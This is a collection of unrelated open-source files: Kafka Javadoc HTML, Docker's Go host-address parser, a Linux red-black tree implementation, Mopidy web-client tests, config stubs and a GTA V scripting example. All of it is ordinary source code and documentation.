<li>Field&nbsp;|&nbsp;</li> <li>Constr&nbsp;|&nbsp;</li> <li><a href="#method.detail">Method</a></li> </ul> </div> <a name="skip.navbar.top"> <!-- --> </a></div> <!-- ========= END OF TOP NAVBAR ========= --> </div> <div class="navPadding">&nbsp;</div> <script type="text/javascript"><!-- $('.navPadding').css('padding-top', $('.fixedNav').css("height")); //--> </script> <!-- ======== START OF CLASS DATA ======== --> <div class="header"> <div class="subTitle"><span class="packageLabelInType">Package</span>&nbsp;<a href="../../../../../org/apache/kafka/streams/state/package-summary.html">org.apache.kafka.streams.state</a></div> <h2 title="Interface WindowStoreIterator" class="title">Interface WindowStoreIterator&lt;V&gt;</h2> </div> <div class="contentContainer"> <div class="description"> <ul class="blockList"> <li class="blockList"> <dl> <dt><span class="paramLabel">Type Parameters:</span></dt> <dd><code>V</code> - Type of values</dd> </dl> <dl> <dt>All Superinterfaces:</dt> <dd><code>java.lang.AutoCloseable</code>, <code>java.io.Closeable</code>, <code>java.util.Iterator&lt;V&gt;</code>, <code><a href="../../../../../org/apache/kafka/streams/state/KeyValueIterator.html" title="interface in org.apache.kafka.streams.state">KeyValueIterator</a>&lt;java.lang.Long,V&gt;</code></dd> </dl> <hr> <br> <pre>public interface <span class="typeNameLabel">WindowStoreIterator&lt;V&gt;</span> extends <a href="../../../../../org/apache/kafka/streams/state/KeyValueIterator.html" title="interface in org.apache.kafka.streams.state">KeyValueIterator</a>&lt;java.lang.Long,V&gt;, java.io.Closeable</pre> <div class="block">Iterator interface of <a href="../../../../../org/apache/kafka/streams/KeyValue.html" title="class in org.apache.kafka.streams"><code>KeyValue</code></a> with key typed <code>Long</code> used for <a href="../../../../../org/apache/kafka/streams/state/ReadOnlyWindowStore.html#fetch-K-long-long-"><code>ReadOnlyWindowStore.fetch(Object, long, long)</code></a>. Users must call its <code>close</code> method explicitly upon completeness to release resources, or use try-with-resources statement (available since JDK7) for this <code>Closeable</code> class.</div> </li> </ul> </div> <div class="summary"> <ul class="blockList"> <li class="blockList"> <!-- ========== METHOD SUMMARY =========== --> <ul class="blockList"> <li class="blockList"><a name="method.summary"> <!-- --> </a> <h3>Method Summary</h3> <table class="memberSummary" summary="Method Summary table, listing methods, and an explanation"> <caption><span id="t0" class="activeTableTab"><span>All Methods</span><span class="tabEnd">&nbsp;</span></span><span id="t2" class="tableTab"><span><a href="javascript:show(2);">Instance Methods</a></span><span class="tabEnd">&nbsp;</span></span><span id="t3" class="tableTab"><span><a href="javascript:show(4);">Abstract Methods</a></span><span class="tabEnd">&nbsp;</span></span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colSecond" scope="col">Method</th> <th class="colLast" scope="col">Description</th> </tr> <tr id="i0" class="altColor"> <td class="colFirst"><code>void</code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="../../../../../org/apache/kafka/streams/state/WindowStoreIterator.html#close--">close</a></span>&#8203;()</code></th> <td class="colLast">&nbsp;</td> </tr> </table> <ul class="blockList"> <li class="blockList"><a name="methods.inherited.from.class.java.util.Iterator"> <!-- --> </a> <h3>Methods inherited from interface&nbsp;java.util.Iterator</h3> <code>forEachRemaining, hasNext, next, remove</code></li> </ul> <ul class="blockList"> <li class="blockList"><a name="methods.inherited.from.class.org.apache.kafka.streams.state.KeyValueIterator"> <!-- --> </a> <h3>Methods inherited from interface&nbsp;org.apache.kafka.streams.state.<a href="../../../../../org/apache/kafka/streams/state/KeyValueIterator.html" title="interface in org.apache.kafka.streams.state">KeyValueIterator</a></h3> <code><a href="../../../../../org/apache/kafka/streams/state/KeyValueIterator.html#peekNextKey--">peekNextKey</a></code></li> </ul> </li> </ul> </li> </ul> </div> <div class="details"> <ul class="blockList"> <li class="blockList"> <!-- ============ METHOD DETAIL ========== --> <ul class="blockList"> <li class="blockList"><a name="method.detail"> <!-- --> </a> <h3>Method Detail</h3> <a name="close--"> <!-- --> </a> <ul class="blockListLast"> <li class="blockList"> <h4>close</h4> <pre>void&nbsp;close&#8203;()</pre> <dl> <dt><span class="overrideSpecifyLabel">Specified by:</span></dt> <dd><code>close</code>&nbsp;in interface&nbsp;<code>java.lang.AutoCloseable</code></dd> <dt><span class="overrideSpecifyLabel">Specified by:</span></dt> <dd><code>close</code>&nbsp;in interface&nbsp;<code>java.io.Closeable</code></dd> <dt><span class="overrideSpecifyLabel">Specified by:</span></dt> <dd><code><a href="../../../../../org/apache/kafka/streams/state/KeyValueIterator.html#close--">close</a></code>&nbsp;in interface&nbsp;<code><a href="../../../../../org/apache/kafka/streams/state/KeyValueIterator.html" title="interface in org.apache.kafka.streams.state">KeyValueIterator</a>&lt;java.lang.Long,<a href="../../../../../org/apache/kafka/streams/state/WindowStoreIterator.html" title="type parameter in WindowStoreIterator">V</a>&gt;</code></dd> </dl> </li> </ul> </li> </ul> </li> </ul> </div> </div> <!-- ========= END OF CLASS DATA ========= --> <!-- ======= START OF BOTTOM NAVBAR ====== --> <div class="bottomNav"><a name="navbar.bottom"> <!-- --> </a> <div class="skipNav"><a href="#skip.navbar.bottom" title="Skip navigation links">Skip navigation links</a></div> <a name="navbar.bottom.firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../../overview-summary.html">Overview</a></li> <li><a href="package-summary.html">Package</a></li> <li class="navBarCell1Rev">Class</li> <li><a href="package-tree.html">Tree</a></li> <li><a href="../../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../../index-all.html">Index</a></li> <li><a href="../../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li><a href="../../../../../org/apache/kafka/streams/state/WindowStore.html" title="interface in org.apache.kafka.streams.state"><span class="typeNameLink">Prev&nbsp;Class</span></a></li> <li>Next&nbsp;Class</li> </ul> <ul class="navList"> <li><a href="../../../../../index.html?org/apache/kafka/streams/state/WindowStoreIterator.html" target="_top">Frames</a></li> <li><a href="WindowStoreIterator.html" target="_top">No&nbsp;Frames</a></li> </ul> <ul class="navList" id="allclasses_navbar_bottom"> <li><a href="../../../../../allclasses-noframe.html">All&nbsp;Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_bottom"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> </div> <div> <ul class="subNavList"> <li>Summary:&nbsp;</li> <li>Nested&nbsp;|&nbsp;</li> <li>Field&nbsp;|&nbsp;</li> <li>Constr&nbsp;|&nbsp;</li> <li><a href="#method.summary">Method</a></li> </ul> <ul class="subNavList"> <li>Detail:&nbsp;</li> <li>Field&nbsp;|&nbsp;</li> <li>Constr&nbsp;|&nbsp;</li> <li><a href="#method.detail">Method</a></li> </ul> </div> <a name="skip.navbar.bottom"> <!-- --> </a></div> <!-- ======== END OF BOTTOM NAVBAR ======= --> </body> </html>
{ "pile_set_name": "Github" }
package opts import ( "fmt" "net" "net/url" "strconv" "strings" ) var ( // DefaultHTTPPort Default HTTP Port used if only the protocol is provided to -H flag e.g. dockerd -H tcp:// // These are the IANA registered port numbers for use with Docker // see http://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml?search=docker DefaultHTTPPort = 2375 // Default HTTP Port // DefaultTLSHTTPPort Default HTTP Port used when TLS enabled DefaultTLSHTTPPort = 2376 // Default TLS encrypted HTTP Port // DefaultUnixSocket Path for the unix socket. // Docker daemon by default always listens on the default unix socket DefaultUnixSocket = "/var/run/docker.sock" // DefaultTCPHost constant defines the default host string used by docker on Windows DefaultTCPHost = fmt.Sprintf("tcp://%s:%d", DefaultHTTPHost, DefaultHTTPPort) // DefaultTLSHost constant defines the default host string used by docker for TLS sockets DefaultTLSHost = fmt.Sprintf("tcp://%s:%d", DefaultHTTPHost, DefaultTLSHTTPPort) // DefaultNamedPipe defines the default named pipe used by docker on Windows DefaultNamedPipe = `//./pipe/docker_engine` ) // ValidateHost validates that the specified string is a valid host and returns it. func ValidateHost(val string) (string, error) { host := strings.TrimSpace(val) // The empty string means default and is not handled by parseDockerDaemonHost if host != "" { _, err := parseDockerDaemonHost(host) if err != nil { return val, err } } // Note: unlike most flag validators, we don't return the mutated value here // we need to know what the user entered later (using ParseHost) to adjust for TLS return val, nil } // ParseHost and set defaults for a Daemon host string func ParseHost(defaultToTLS bool, val string) (string, error) { host := strings.TrimSpace(val) if host == "" { if defaultToTLS { host = DefaultTLSHost } else { host = DefaultHost } } else { var err error host, err = parseDockerDaemonHost(host) if err != nil { return val, err } } return host, nil } // parseDockerDaemonHost parses the specified address and returns an address that will be used as the host. // Depending of the address specified, this may return one of the global Default* strings defined in hosts.go. func parseDockerDaemonHost(addr string) (string, error) { addrParts := strings.SplitN(addr, "://", 2) if len(addrParts) == 1 && addrParts[0] != "" { addrParts = []string{"tcp", addrParts[0]} } switch addrParts[0] { case "tcp": return ParseTCPAddr(addrParts[1], DefaultTCPHost) case "unix": return parseSimpleProtoAddr("unix", addrParts[1], DefaultUnixSocket) case "npipe": return parseSimpleProtoAddr("npipe", addrParts[1], DefaultNamedPipe) case "fd": return addr, nil default: return "", fmt.Errorf("Invalid bind address format: %s", addr) } } // parseSimpleProtoAddr parses and validates that the specified address is a valid // socket address for simple protocols like unix and npipe. It returns a formatted // socket address, either using the address parsed from addr, or the contents of // defaultAddr if addr is a blank string. func parseSimpleProtoAddr(proto, addr, defaultAddr string) (string, error) { addr = strings.TrimPrefix(addr, proto+"://") if strings.Contains(addr, "://") { return "", fmt.Errorf("Invalid proto, expected %s: %s", proto, addr) } if addr == "" { addr = defaultAddr } return fmt.Sprintf("%s://%s", proto, addr), nil } // ParseTCPAddr parses and validates that the specified address is a valid TCP // address. It returns a formatted TCP address, either using the address parsed // from tryAddr, or the contents of defaultAddr if tryAddr is a blank string. // tryAddr is expected to have already been Trim()'d // defaultAddr must be in the full `tcp://host:port` form func ParseTCPAddr(tryAddr string, defaultAddr string) (string, error) { if tryAddr == "" || tryAddr == "tcp://" { return defaultAddr, nil } addr := strings.TrimPrefix(tryAddr, "tcp://") if strings.Contains(addr, "://") || addr == "" { return "", fmt.Errorf("Invalid proto, expected tcp: %s", tryAddr) } defaultAddr = strings.TrimPrefix(defaultAddr, "tcp://") defaultHost, defaultPort, err := net.SplitHostPort(defaultAddr) if err != nil { return "", err } // url.Parse fails for trailing colon on IPv6 brackets on Go 1.5, but // not 1.4. See https://github.com/golang/go/issues/12200 and // https://github.com/golang/go/issues/6530. if strings.HasSuffix(addr, "]:") { addr += defaultPort } u, err := url.Parse("tcp://" + addr) if err != nil { return "", err } host, port, err := net.SplitHostPort(u.Host) if err != nil { // try port addition once host, port, err = net.SplitHostPort(net.JoinHostPort(u.Host, defaultPort)) } if err != nil { return "", fmt.Errorf("Invalid bind address format: %s", tryAddr) } if host == "" { host = defaultHost } if port == "" { port = defaultPort } p, err := strconv.Atoi(port) if err != nil && p == 0 { return "", fmt.Errorf("Invalid bind address format: %s", tryAddr) } return fmt.Sprintf("tcp://%s%s", net.JoinHostPort(host, port), u.Path), nil } // ValidateExtraHost validates that the specified string is a valid extrahost and returns it. // ExtraHost is in the form of name:ip where the ip has to be a valid ip (IPv4 or IPv6). func ValidateExtraHost(val string) (string, error) { // allow for IPv6 addresses in extra hosts by only splitting on first ":" arr := strings.SplitN(val, ":", 2) if len(arr) != 2 || len(arr[0]) == 0 { return "", fmt.Errorf("bad format for add-host: %q", val) } if _, err := ValidateIPAddress(arr[1]); err != nil { return "", fmt.Errorf("invalid IP address in add-host: %q", arr[1]) } return val, nil }
{ "pile_set_name": "Github" }
owner = USA controller = USA add_core = USA infra = 8 infra = 8
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>CFBundleDevelopmentRegion</key> <string>en</string> <key>CFBundleExecutable</key> <string>${EXECUTABLE_NAME}</string> <key>CFBundleIdentifier</key> <string>$(PRODUCT_BUNDLE_IDENTIFIER)</string> <key>CFBundleInfoDictionaryVersion</key> <string>6.0</string> <key>CFBundlePackageType</key> <string>BNDL</string> <key>CFBundleShortVersionString</key> <string>1.0</string> <key>CFBundleSignature</key> <string>????</string> <key>CFBundleVersion</key> <string>1</string> </dict> </plist>
{ "pile_set_name": "Github" }
from unittest import mock import tornado.testing import tornado.web import tornado.websocket import mopidy.config as config from mopidy_musicbox_webclient import Extension from mopidy_musicbox_webclient.web import StaticHandler class BaseTest(tornado.testing.AsyncHTTPTestCase): def get_app(self): extension = Extension() self.config = config.Proxy( { "musicbox_webclient": { "enabled": True, "musicbox": True, "websocket_host": "", "websocket_port": "", } } ) return tornado.web.Application( extension.factory(self.config, mock.Mock()) ) class StaticFileHandlerTest(BaseTest): def test_static_handler(self): response = self.fetch("/vendors/mopidy/mopidy.js", method="GET") assert response.code == 200 def test_get_version(self): assert StaticHandler.get_version(None, None) == Extension.version class RedirectHandlerTest(BaseTest): def test_redirect_handler(self): response = self.fetch("/", method="GET", follow_redirects=False) assert response.code == 301 response.headers["Location"].endswith("index.html") class IndexHandlerTestMusicBox(BaseTest): def test_index_handler(self): response = self.fetch("/index.html", method="GET") assert response.code == 200 def test_get_title_musicbox(self): response = self.fetch("/index.html", method="GET") body = tornado.escape.to_unicode(response.body) assert "<title>MusicBox on 127.0.0.1</title>" in body def test_initialize_sets_dictionary_objects(self): response = self.fetch("/index.html", method="GET") body = tornado.escape.to_unicode(response.body) assert 'data-is-musicbox="true"' in body assert 'data-has-alarmclock="false"' in body assert 'data-websocket-url=""' in body assert 'data-on-track-click="' in body assert 'data-program-name="' in body assert 'data-hostname="' in body class IndexHandlerTestMopidy(BaseTest): def get_app(self): extension = Extension() self.config = config.Proxy( { "musicbox_webclient": { "enabled": True, "musicbox": False, "websocket_host": "", "websocket_port": "", } } ) return tornado.web.Application( extension.factory(self.config, mock.Mock()) ) def test_initialize_sets_dictionary_objects(self): response = self.fetch("/index.html", method="GET") body = tornado.escape.to_unicode(response.body) assert 'data-is-musicbox="false"' in body def test_get_title_mopidy(self): response = self.fetch("/index.html", method="GET") body = tornado.escape.to_unicode(response.body) assert "<title>Mopidy on 127.0.0.1</title>" in body
{ "pile_set_name": "Github" }
/* Red Black Trees (C) 1999 Andrea Arcangeli <[email protected]> (C) 2002 David Woodhouse <[email protected]> (C) 2012 Michel Lespinasse <[email protected]> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA linux/lib/rbtree.c */ #include <linux/rbtree_augmented.h> /* * red-black trees properties: http://en.wikipedia.org/wiki/Rbtree * * 1) A node is either red or black * 2) The root is black * 3) All leaves (NULL) are black * 4) Both children of every red node are black * 5) Every simple path from root to leaves contains the same number * of black nodes. * * 4 and 5 give the O(log n) guarantee, since 4 implies you cannot have two * consecutive red nodes in a path and every red node is therefore followed by * a black. So if B is the number of black nodes on every simple path (as per * 5), then the longest possible path due to 4 is 2B. * * We shall indicate color with case, where black nodes are uppercase and red * nodes will be lowercase. Unknown color nodes shall be drawn as red within * parentheses and have some accompanying text comment. */ static inline void rb_set_black(struct rb_node *rb) { rb->__rb_parent_color |= RB_BLACK; } static inline struct rb_node *rb_red_parent(struct rb_node *red) { return (struct rb_node *)red->__rb_parent_color; } /* * Helper function for rotations: * - old's parent and color get assigned to new * - old gets assigned new as a parent and 'color' as a color. */ static inline void __rb_rotate_set_parents(struct rb_node *old, struct rb_node *new, struct rb_root *root, int color) { struct rb_node *parent = rb_parent(old); new->__rb_parent_color = old->__rb_parent_color; rb_set_parent_color(old, new, color); __rb_change_child(old, new, parent, root); } static __always_inline void __rb_insert(struct rb_node *node, struct rb_root *root, void (*augment_rotate)(struct rb_node *old, struct rb_node *new)) { struct rb_node *parent = rb_red_parent(node), *gparent, *tmp; while (true) { /* * Loop invariant: node is red * * If there is a black parent, we are done. * Otherwise, take some corrective action as we don't * want a red root or two consecutive red nodes. */ if (!parent) { rb_set_parent_color(node, NULL, RB_BLACK); break; } else if (rb_is_black(parent)) break; gparent = rb_red_parent(parent); tmp = gparent->rb_right; if (parent != tmp) { /* parent == gparent->rb_left */ if (tmp && rb_is_red(tmp)) { /* * Case 1 - color flips * * G g * / \ / \ * p u --> P U * / / * n n * * However, since g's parent might be red, and * 4) does not allow this, we need to recurse * at g. */ rb_set_parent_color(tmp, gparent, RB_BLACK); rb_set_parent_color(parent, gparent, RB_BLACK); node = gparent; parent = rb_parent(node); rb_set_parent_color(node, parent, RB_RED); continue; } tmp = parent->rb_right; if (node == tmp) { /* * Case 2 - left rotate at parent * * G G * / \ / \ * p U --> n U * \ / * n p * * This still leaves us in violation of 4), the * continuation into Case 3 will fix that. */ parent->rb_right = tmp = node->rb_left; node->rb_left = parent; if (tmp) rb_set_parent_color(tmp, parent, RB_BLACK); rb_set_parent_color(parent, node, RB_RED); augment_rotate(parent, node); parent = node; tmp = node->rb_right; } /* * Case 3 - right rotate at gparent * * G P * / \ / \ * p U --> n g * / \ * n U */ gparent->rb_left = tmp; /* == parent->rb_right */ parent->rb_right = gparent; if (tmp) rb_set_parent_color(tmp, gparent, RB_BLACK); __rb_rotate_set_parents(gparent, parent, root, RB_RED); augment_rotate(gparent, parent); break; } else { tmp = gparent->rb_left; if (tmp && rb_is_red(tmp)) { /* Case 1 - color flips */ rb_set_parent_color(tmp, gparent, RB_BLACK); rb_set_parent_color(parent, gparent, RB_BLACK); node = gparent; parent = rb_parent(node); rb_set_parent_color(node, parent, RB_RED); continue; } tmp = parent->rb_left; if (node == tmp) { /* Case 2 - right rotate at parent */ parent->rb_left = tmp = node->rb_right; node->rb_right = parent; if (tmp) rb_set_parent_color(tmp, parent, RB_BLACK); rb_set_parent_color(parent, node, RB_RED); augment_rotate(parent, node); parent = node; tmp = node->rb_left; } /* Case 3 - left rotate at gparent */ gparent->rb_right = tmp; /* == parent->rb_left */ parent->rb_left = gparent; if (tmp) rb_set_parent_color(tmp, gparent, RB_BLACK); __rb_rotate_set_parents(gparent, parent, root, RB_RED); augment_rotate(gparent, parent); break; } } } /* * Inline version for rb_erase() use - we want to be able to inline * and eliminate the dummy_rotate callback there */ static __always_inline void ____rb_erase_color(struct rb_node *parent, struct rb_root *root, void (*augment_rotate)(struct rb_node *old, struct rb_node *new)) { struct rb_node *node = NULL, *sibling, *tmp1, *tmp2; while (true) { /* * Loop invariants: * - node is black (or NULL on first iteration) * - node is not the root (parent is not NULL) * - All leaf paths going through parent and node have a * black node count that is 1 lower than other leaf paths. */ sibling = parent->rb_right; if (node != sibling) { /* node == parent->rb_left */ if (rb_is_red(sibling)) { /* * Case 1 - left rotate at parent * * P S * / \ / \ * N s --> p Sr * / \ / \ * Sl Sr N Sl */ parent->rb_right = tmp1 = sibling->rb_left; sibling->rb_left = parent; rb_set_parent_color(tmp1, parent, RB_BLACK); __rb_rotate_set_parents(parent, sibling, root, RB_RED); augment_rotate(parent, sibling); sibling = tmp1; } tmp1 = sibling->rb_right; if (!tmp1 || rb_is_black(tmp1)) { tmp2 = sibling->rb_left; if (!tmp2 || rb_is_black(tmp2)) { /* * Case 2 - sibling color flip * (p could be either color here) * * (p) (p) * / \ / \ * N S --> N s * / \ / \ * Sl Sr Sl Sr * * This leaves us violating 5) which * can be fixed by flipping p to black * if it was red, or by recursing at p. * p is red when coming from Case 1. */ rb_set_parent_color(sibling, parent, RB_RED); if (rb_is_red(parent)) rb_set_black(parent); else { node = parent; parent = rb_parent(node); if (parent) continue; } break; } /* * Case 3 - right rotate at sibling * (p could be either color here) * * (p) (p) * / \ / \ * N S --> N Sl * / \ \ * sl Sr s * \ * Sr */ sibling->rb_left = tmp1 = tmp2->rb_right; tmp2->rb_right = sibling; parent->rb_right = tmp2; if (tmp1) rb_set_parent_color(tmp1, sibling, RB_BLACK); augment_rotate(sibling, tmp2); tmp1 = sibling; sibling = tmp2; } /* * Case 4 - left rotate at parent + color flips * (p and sl could be either color here. * After rotation, p becomes black, s acquires * p's color, and sl keeps its color) * * (p) (s) * / \ / \ * N S --> P Sr * / \ / \ * (sl) sr N (sl) */ parent->rb_right = tmp2 = sibling->rb_left; sibling->rb_left = parent; rb_set_parent_color(tmp1, sibling, RB_BLACK); if (tmp2) rb_set_parent(tmp2, parent); __rb_rotate_set_parents(parent, sibling, root, RB_BLACK); augment_rotate(parent, sibling); break; } else { sibling = parent->rb_left; if (rb_is_red(sibling)) { /* Case 1 - right rotate at parent */ parent->rb_left = tmp1 = sibling->rb_right; sibling->rb_right = parent; rb_set_parent_color(tmp1, parent, RB_BLACK); __rb_rotate_set_parents(parent, sibling, root, RB_RED); augment_rotate(parent, sibling); sibling = tmp1; } tmp1 = sibling->rb_left; if (!tmp1 || rb_is_black(tmp1)) { tmp2 = sibling->rb_right; if (!tmp2 || rb_is_black(tmp2)) { /* Case 2 - sibling color flip */ rb_set_parent_color(sibling, parent, RB_RED); if (rb_is_red(parent)) rb_set_black(parent); else { node = parent; parent = rb_parent(node); if (parent) continue; } break; } /* Case 3 - right rotate at sibling */ sibling->rb_right = tmp1 = tmp2->rb_left; tmp2->rb_left = sibling; parent->rb_left = tmp2; if (tmp1) rb_set_parent_color(tmp1, sibling, RB_BLACK); augment_rotate(sibling, tmp2); tmp1 = sibling; sibling = tmp2; } /* Case 4 - left rotate at parent + color flips */ parent->rb_left = tmp2 = sibling->rb_right; sibling->rb_right = parent; rb_set_parent_color(tmp1, sibling, RB_BLACK); if (tmp2) rb_set_parent(tmp2, parent); __rb_rotate_set_parents(parent, sibling, root, RB_BLACK); augment_rotate(parent, sibling); break; } } } /* Non-inline version for rb_erase_augmented() use */ void __rb_erase_color(struct rb_node *parent, struct rb_root *root, void (*augment_rotate)(struct rb_node *old, struct rb_node *new)) { ____rb_erase_color(parent, root, augment_rotate); } /* * Non-augmented rbtree manipulation functions. * * We use dummy augmented callbacks here, and have the compiler optimize them * out of the rb_insert_color() and rb_erase() function definitions. */ static inline void dummy_propagate(struct rb_node *node, struct rb_node *stop) {} static inline void dummy_copy(struct rb_node *old, struct rb_node *new) {} static inline void dummy_rotate(struct rb_node *old, struct rb_node *new) {} static const struct rb_augment_callbacks dummy_callbacks = { dummy_propagate, dummy_copy, dummy_rotate }; void rb_insert_color(struct rb_node *node, struct rb_root *root) { __rb_insert(node, root, dummy_rotate); } void rb_erase(struct rb_node *node, struct rb_root *root) { struct rb_node *rebalance; rebalance = __rb_erase_augmented(node, root, &dummy_callbacks); if (rebalance) ____rb_erase_color(rebalance, root, dummy_rotate); } /* * Augmented rbtree manipulation functions. * * This instantiates the same __always_inline functions as in the non-augmented * case, but this time with user-defined callbacks. */ void __rb_insert_augmented(struct rb_node *node, struct rb_root *root, void (*augment_rotate)(struct rb_node *old, struct rb_node *new)) { __rb_insert(node, root, augment_rotate); } /* * This function returns the first node (in sort order) of the tree. */ struct rb_node *rb_first(const struct rb_root *root) { struct rb_node *n; n = root->rb_node; if (!n) return NULL; while (n->rb_left) n = n->rb_left; return n; } struct rb_node *rb_last(const struct rb_root *root) { struct rb_node *n; n = root->rb_node; if (!n) return NULL; while (n->rb_right) n = n->rb_right; return n; } struct rb_node *rb_next(const struct rb_node *node) { struct rb_node *parent; if (RB_EMPTY_NODE(node)) return NULL; /* * If we have a right-hand child, go down and then left as far * as we can. */ if (node->rb_right) { node = node->rb_right; while (node->rb_left) node=node->rb_left; return (struct rb_node *)node; } /* * No right-hand children. Everything down and left is smaller than us, * so any 'next' node must be in the general direction of our parent. * Go up the tree; any time the ancestor is a right-hand child of its * parent, keep going up. First time it's a left-hand child of its * parent, said parent is our 'next' node. */ while ((parent = rb_parent(node)) && node == parent->rb_right) node = parent; return parent; } struct rb_node *rb_prev(const struct rb_node *node) { struct rb_node *parent; if (RB_EMPTY_NODE(node)) return NULL; /* * If we have a left-hand child, go down and then right as far * as we can. */ if (node->rb_left) { node = node->rb_left; while (node->rb_right) node=node->rb_right; return (struct rb_node *)node; } /* * No left-hand children. Go up till we find an ancestor which * is a right-hand child of its parent. */ while ((parent = rb_parent(node)) && node == parent->rb_left) node = parent; return parent; } void rb_replace_node(struct rb_node *victim, struct rb_node *new, struct rb_root *root) { struct rb_node *parent = rb_parent(victim); /* Set the surrounding nodes to point to the replacement */ __rb_change_child(victim, new, parent, root); if (victim->rb_left) rb_set_parent(victim->rb_left, new); if (victim->rb_right) rb_set_parent(victim->rb_right, new); /* Copy the pointers/colour from the victim to the replacement */ *new = *victim; } static struct rb_node *rb_left_deepest_node(const struct rb_node *node) { for (;;) { if (node->rb_left) node = node->rb_left; else if (node->rb_right) node = node->rb_right; else return (struct rb_node *)node; } } struct rb_node *rb_next_postorder(const struct rb_node *node) { const struct rb_node *parent; if (!node) return NULL; parent = rb_parent(node); /* If we're sitting on node, we've already seen our children */ if (parent && node == parent->rb_left && parent->rb_right) { /* If we are the parent's left node, go to the parent's right * node then all the way down to the left */ return rb_left_deepest_node(parent->rb_right); } else /* Otherwise we are the parent's right node, and the parent * should be next */ return (struct rb_node *)parent; } struct rb_node *rb_first_postorder(const struct rb_root *root) { if (!root->rb_node) return NULL; return rb_left_deepest_node(root->rb_node); }
{ "pile_set_name": "Github" }
/* * Cam3-4s.wrf * */ /* Directory for Proximity messages and mission briefs */ directory "messages" file SMSG "brief3-4.txt" file SMSG "prox3-4.txt" directory "script" file JAVASCRIPT "rules.js" directory "script/campaign" file JAVASCRIPT "cam3-4s.js"
{ "pile_set_name": "Github" }
using System; using System.Windows.Forms; using GTA; namespace ScriptInstance { // Main script is auto-started and creates AI scripts using key presses. // T key to spawn AIone // Y key to spawn AItwo // G key to change AIone animation // H key to SetWait(6) for AItwo // J key to pause AIone public class Main : Script { AI AIone = null; AI AItwo = null; public Main() { KeyDown += OnKeyDown; Interval = 1000; } private void OnKeyDown(object sender, KeyEventArgs e) { if (e.KeyCode == Keys.T) // Create AI Script and store as AIone { SpawnAIone(); } else if (e.KeyCode == Keys.Y) // Create AI Script and store as AItwo { SpawnAItwo(); } else if (e.KeyCode == Keys.G) // Changes AIone animation { if (AIone != null) { if (AIone.animation == "Jump") { AIone.animation = "HandsUp"; } else { AIone.animation = "Jump"; } GTA.UI.Notification.Show("SpawnAI: Animation(" + AIone.animation + ");"); } } else if (e.KeyCode == Keys.H) // Sets Wait() for AItwo { AItwo.SetWait(6000); } else if (e.KeyCode == Keys.J) // Toggles Pause() for AIone { if (AIone.IsPaused) { AIone.Resume(); } else { AIone.Pause(); } } } private void SpawnAIone() { if (AIone == null) { AIone = InstantiateScript<AI>(); if (AIone != null) { GTA.UI.Notification.Show("SpawnAI: Ped(1);"); } } else { AIone.Abort(); AIone = null; // Clear instance to create a new script next time GTA.UI.Notification.Show("SpawnAI: Ped(1).Abort();"); } } private void SpawnAItwo() { if (AItwo == null || !AItwo.IsRunning) { AItwo = InstantiateScript<AI>(); if (AItwo != null) { GTA.UI.Notification.Show("SpawnAI: Ped(2);"); } } else { AItwo.Abort(); // Instead of setting AItwo to null, can also checking status with 'IsRunning' GTA.UI.Notification.Show("SpawnAI: Ped(2).Abort();"); } } } [ScriptAttributes(NoDefaultInstance = true)] public class AI : Script { public AI() { Tick += OnTick; Aborted += OnShutdown; Interval = 3000; } private Ped ped = null; private int wait = -1; public string animation = "HandsUp"; public void SetWait(int ms) { if (ms > wait) { wait = ms; } } private void OnTick(object sender, EventArgs e) { if (wait > -1) { Wait(wait); wait = -1; } if (ped == null) { ped = World.CreatePed(PedHash.Beach01AMY, Game.Player.Character.Position + (GTA.Math.Vector3.RelativeFront * 3)); } // Repeat animation if alive if (ped != null && ped.IsAlive) { if (animation == "HandsUp") { ped.Task.HandsUp(1000); } else if (animation == "Jump") { ped.Task.Jump(); } } } private void OnShutdown(object sender, EventArgs e) { // Clear pedestrian on script abort ped?.Delete(); } } }
{ "pile_set_name": "Github" }